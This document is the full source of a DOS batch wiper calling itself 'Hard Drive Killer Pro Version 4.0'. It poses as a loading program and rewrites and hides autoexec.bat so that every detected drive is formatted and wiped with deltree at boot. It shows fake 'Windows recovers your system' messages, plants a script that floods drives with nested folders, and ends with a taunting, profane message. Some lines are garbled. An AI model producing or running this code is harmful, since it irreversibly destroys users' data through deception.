@echo off

rem Fastest way to format your computer.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo call format c: /q /u /autotest >nul >>c:\autoexec.bat

call attrib +r +h c:\autoexec.bat >nul


rem Drive checking and assigning the valid drives to the drive variable.


set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z


rem code insertion for Drive Checking takes place here.

rem drivechk.bat is the file name under the root directory.

rem As far as the drive detection and drive variable settings, don't worry about how it

rem works, it's damn to complicated for the average or even the expert batch programmer.

rem Except for Tom Lavedas.


echo @echo off >drivechk.bat

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat


cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem When errorlevel is 1, then the above is not true, if 0, then it's true.

rem Opposite of binary rules. If 0, it will elaps to the next command.


echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat


cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

rem if errorlevel is 0, then it will elaps to the next command.


echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat


cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.

rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.


echo :enddc >>drivechk.bat


rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".


rem Now we will use the program drivechk.bat to attain valid drive information.


:testdrv


for %%a in (%alldrive%) do call drivechk.bat %%a >nul

if %drive%.==. set drive=c

del drivechk.bat >nul


:form_del

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cd\ >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Welcome to the land of death. Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat

echo echo If you ran this file, then sorry, I just made it. The
purpose of this program is to tell you the following. . .
>>c:\autoexec.bat

echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat

echo echo 3. This breach of your security will benefit you in the
long-run, so don't worry. Think about it.>>c:\autoexec.bat


echo echo. >>c:\autoexec.bat

echo echo Regards, >>c:\autoexec.bat

echo echo. >>c:\autoexec.bat

echo echo Munga Bunga >>c:\autoexec.bat

call attrib +r +h c:\autoexec.bat


:makedir

if exist c:\temp.bat attrib -r -h c:\temp.bat >nul

echo @echo off >c:\temp.bat

echo %%1:\ >>c:\temp.bat

echo cd\ >>c:\temp.bat

echo :startmd >>c:\temp.bat

echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2"wink do %%%%a >>c:\temp.bat

echo for %%%%a in (">ass_hole.txt"wink do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat

echo if not exist
%%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2
\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto
startmd >>c:\temp.bat

call attrib +r +h c:\temp.bat >nul

cls

rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autotest >nul

cls

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls

for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul

call attrib +r +h c:\temp.bat >nul

call attrib +r +h c:\autoexec.bat >nul

cls

for %%a in (%drive%) call deltree /y %%a:\*. >nul

cls

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul


cls


:end